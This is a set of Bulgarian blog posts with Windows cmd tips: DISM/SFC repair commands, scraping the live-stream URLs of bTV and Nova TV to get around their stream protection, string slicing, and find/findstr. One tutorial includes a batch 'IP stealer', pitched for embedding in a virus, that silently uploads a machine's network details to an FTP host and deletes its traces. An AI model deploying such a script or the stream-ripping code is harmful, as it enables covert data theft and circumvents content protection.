I use this commands to fix slow shutdown on Windows 11.
Open cmd.exe with Run as Administrator and exec:
DISM.exe /Online /Cleanup-image /StartComponentCleanup
DISM.exe /Online /Cleanup-Image /Restorehealth
SFC /SCANNOW
I use this commands to fix slow shutdown on Windows 11.
Open cmd.exe with Run as Administrator and exec:
DISM.exe /Online /Cleanup-image /StartComponentCleanup
DISM.exe /Online /Cleanup-Image /Restorehealth
SFC /SCANNOW
В това видео ще покажа, как се взима ръчно файла с live stream на Нова ТВ. Има лека разлика спрямо прихващането на bTV стрийма, защото нова ползва iframe на външна страница.
Използвани инструменти:
firefox
wget (for windows)
pup html parser
ffplay (идва стандартно с ffmpeg)
bTV имат доста слабичка защита на стрийма. Нова поне ползват криптиране на стрийма с hls.key, което не е никакъв проблем за чупене, но пак е нещо. бТВ се защитават само с един динамично генериран адрес, който обаче е твърде достъпен, поне според мен. Сменят масива с адреси всеки ден, но факта, че присъства статично в ajax адрес, който може да се отвори и прочете от всеки, прави цялата защита смешна. За любителите на кепчъринга и за тираджиите прилагам скромно туториалче. Използваните инструменти са: Firefox, wget, jq, ffmpeg.
И по-лесния вариант за прихващане на видеото само с Firefox.
С тази техника може да се прихване почти всеки видео стрийм или да се свали видео файл. Когато видеото е криптирано, може да се записва стрийма, но по-инстересно е да се свалят всички файлове с високо качество и да се декриптират ръчно, като се ползва hls-ключ и оригиналните ts-файлове.
Ето и простичък PHP-код, който върши цялата работа по екстрактването на линка:
<?php
$wpage = file_get_contents("https://btvplus.bg/live/");
preg_match("@url: +'([^']*)@", $wpage, $m);
$config_page = file_get_contents("https://btvplus.bg".$m[1]);
$j = json_decode($config_page, true);
echo $j['info']['file'];
?>
Трябва да се отбележи, че bTV детектват, дали url-адреса се зарежда от чужбина и го ограничават (с http response code 301), но е много вероятно самия стрийм да не е ограничен. Не съм го пробвал. Хубавото е, че веднъж гепен адреса на стрийма, може да се гледа цял ден.
————————
И един бонус – сорс код за C#, който гепва стринга и го плейва с ffplay. За целта ffplay трябва да е в директорията с компилираното exe или в променливата Path на обкръжението на Win.
using System;
using System.Text.RegularExpressions;
using System.Net;
using System.IO;
using System.Diagnostics;
public class playBtv{
static void Main(string[] args){
string baseUrl = "https://btvplus.bg";
string url1 = baseUrl + "/live/";
ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12;
WebClient client = new WebClient();
string htmlCode1 = client.DownloadString(url1);
string pattern = "url:";
StringReader strReader = new StringReader(htmlCode1);
string aLine, url2 = null;
while(strReader.Peek() >= 0){
aLine = strReader.ReadLine().Trim();
if(aLine.Contains(pattern)){
Match match = Regex.Match(aLine, @"([^']*)'([^']*)");
url2 = baseUrl + match.Groups[2].Value;
break;
}
}
string htmlCode2 = client.DownloadString(url2);
Match match2 = Regex.Match(htmlCode2, "(file\":\")([^\"]*)");
string m3u8 = match2.Groups[2].Value.Replace("\\","");
Process.Start("ffplay", m3u8);
}
}
Компилира се с някой от наличните в Windows C# компилатори от .NET Frameworks. Примерно:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc /target:exe btv_play.cs
Simple Windows console pipe xpath parser:
Download exe: xpather.zip
Source C-Sharp: xpather-source.zip
Sample usage:
wget -O - -q https://edition.cnn.com/ | xpather "//div/ul/li/a[contains(@class,'m-legal__links')]"
Windows cms съдържа един много полезен инструмент за рязане на стрингове. Това е тилдата – tilde (коя е тая Тилда бе???…). Ем ей тая “~”!
Това чудо брои от 0. Реже до колкото му кажеш и реже от тук до еди-колко-си, а синтаксиса е: %променлива:~начало,край%. Въобще не ме бива в лириката, но пък ме бива много в примерите :), за това ще покажа. Стартирате един cmd (Start -> Run -> cmd) и декларирате някаква променлива.
set a=0123456789 echo %a:~0,3% |
Това връща резултата 012, защото в случая отрязахме стринга от нула до 2-я. Можем да отрежем от 3-я до 7-я, това би изглеждало така:
echo %a:~3,7% |
Това ще ни върне: 3456789
Ех, че яка тая тилда!
Направо ми идва на идея да спретна един random генератор за batch :):
set r=%random%%time:~6,5% echo %r% |
В случая използвам и вградената команда за случайни числа на cmd – random. И след генерираното число добавям изрязани от командата за текущо време time секундите от текущия час, запетайка и стотните от текущия час. Резултата изглежда нещо от сорта:
1428246,37
А дали това не може да се използва за правенето на простичък крадец на ip-та, който да се навре в вирусче или нещо друго. Ако се възползваме от останалите възможности на cmd, като find…
@echo off set ip=%random%%time:~6,5% ipconfig /all | find "IP Addres" > %ip%.txt sleep 2 echo user POTREBITEL> ftpcmd.dat echo PAROLA>> ftpcmd.dat bin>> ftpcmd.dat type %ip%.txt echo put %ip%.txt >> ftpcmd.dat echo bye >> ftpcmd.dat ftp -n -s:ftpcmd.dat FTPSITE.COM del ftpcmd.dat del %ip%.txt |
Този скрипт ще вземе IP-адреса на компютъра, на който е стартиран и ще го качи на посочен от вас FTP-сървар.
Моля не използвайте този скрипт за лоши неща! Пазете си кармата!
В една друга тема писах малко за търсене в stdout с find в cmd, но инструмента тук превъзхожда в пъти подобно търсене. Предполагам всеки любител или системен администратор си мечтае за възможността да ползва скоростта и мощността на търсещите конзолни инструменти от UNIX/Mac/Linux. В Windows е малко сложно да си настроите системата да изпълнява подобните команди през промпта, просто защото е супер орязан, а инсталирането на UnxUtils си е малко досадно понякога, а и задължително си иска ъпдейта, особено за sed и grep! Все пак малко успокоение е търсенето в файлове или в pipe-режим командата findstr.Тази команда може да работи с едни първобитни RegEx-и, които са доста далече от популярните и модерни PCRE. Но и поосакатено това търсене може доста да ни помогне.
За пример, да потърсим с кои програми се асоциират html файловете в Windows система, като ще използваме pipe-линия:
ftype | findstr "html" |
При мен резултата от подобно търсене е:
accesshtmlfile="C:\Program Files\Microsoft Office\OFFICE11\MSACCESS.EXE" Excelhtmlfile="C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE" Excelhtmltemplate="C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE" htmlfile="C:\Program Files\Internet Explorer\iexplore.exe" -nohome mhtmlfile="C:\Program Files\Internet Explorer\iexplore.exe" -nohome powerpointhtmlfile="C:\Program Files\Microsoft Office\OFFICE11\POWERPNT.EXE" powerpointhtmltemplate="C:\Program Files\Microsoft Office\OFFICE11\POWERPNT.EXE" wordhtmlfile="C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE" wordhtmltemplate="C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE" |
Командата разполага със следните възможности за търсене с регулярни изрази:
. | Wildcard: any character |
* | Repeat: zero or more occurrences of previous character or class |
^ | Line position: beginning of line |
$ | Line position: end of line |
[class] | Character class: any one character in set |
[^class] | Inverse class: any one character not in set |
[x-z] | Range: any characters within the specified range |
\x | Escape: literal use of metacharacter x |
\<xyz | Word position: beginning of word |
xyz\> | Word position: end of word |
Ключовете при стартиране на командата също могат да са полезни. За целта:
findstr /? |
В командният ред на Windows има една много приятна команда, която може да спести време. Командата Find. Тази команда може да се рови във файлове, но по-интересното е, че може да чете директно от stdout и да се включи в pipe. Пример за извличане само на IP-адрес от CommandPrompt:
ipconfig /all | find "IP Address" |
Резултата от изпълнението на горната команда е:
IP Address. . . . . . . . . . . . : 10.37.112.18
Друг подобен пример е, ако знаем името на някой компютър в мрежата, но не знаем кой му е собственика, можем да потърсим само за този компютър:
net view | find "hpPC011004" |
Много тъпо е, че find не поддържа поне wildcards!!! Но пък си имаме друг по-интересен инструмент findstr – Windows cmd търсене с регулярни изрази.
Стартирането на командния ред(cmd) в WinXp става през Start -> Run -> cmd. Всъщност има поне още една каруца начини.